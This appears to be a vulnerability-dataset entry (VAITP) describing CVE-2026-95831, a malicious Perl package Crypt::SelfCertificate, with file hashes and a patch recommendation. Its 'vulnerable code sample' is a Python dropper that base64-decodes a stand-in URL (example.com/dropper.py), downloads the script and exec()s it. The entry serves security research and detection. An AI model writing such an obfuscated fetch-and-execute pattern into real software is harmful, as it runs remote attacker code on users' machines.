CVE-2026-95831
Malicious Crypt::SelfCertificate injects Python payload via obfuscated URL in generated certificates.
- CVSS 7.8
- CWE-506
- Design Defects
- Local
Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that arbitrary code can be invoked as the user, without a dropped script being saved on the affected host. The releases have no test scripts nor build hooks. The intention may have been to trigger the payload after installation. For version 1.01, the dropper script is in lib/Crypt/SelfCertificate/sample/validate.p12. For version 1.05, the dropper script is in lib/Crypt/SelfCertificate/sample/cert7.pem. The SHA-256 digests of the files are fbff21f45ff748365062a5e36fb2d72558cad82a507a6f357f320b4fcdf07760 Crypt-SelfCertificate-1.01.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/validate.p12 9fdfa7d69b034b77d4510cda567e8da1e486ca81c7daaadc5732a45c41d71991 Crypt-SelfCertificate-1.05.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/cert7.pem
- CWE
- CWE-506
- CVSS base score
- 7.8
- Published
- 2026-09-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Vulnerable and Outdated Components
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Crypt::SelfCertificate
- Fixed by upgrading
- Yes
Solution
Upgrade to Crypt::SelfCertificate ≥ 1.06.
Vulnerable code sample
import base64
import urllib.request
def generate_certificate():
# VULNERABLE: exec of remote code
payload_b64 = b'aHR0cDovL2V4YW1wbGUuY29tL2Ryb3BwZXIucHk=' # http://example.com/dropper.py (base64)
url = base64.b64decode(payload_b64).decode('utf-8')
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')
exec(code) # executes attacker‑controlled scriptPatched code sample
import base64
import urllib.request
def generate_certificate():
# FIX: do not execute remote code
payload_b64 = b'aHR0cDovL2V4YW1wbGUuY29tL2Ryb3BwZXIucHk=' # http://example.com/dropper.py (base64)
url = base64.b64decode(payload_b64).decode('utf-8')
# The URL is retained for reference only; no network call or exec is performed.
# Future implementations should use a trusted local script or validated data.Cite this entry
@misc{vaitp:cve202695831,
title = {{Malicious Crypt::SelfCertificate injects Python payload via obfuscated URL in generated certificates.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-95831},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-95831/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
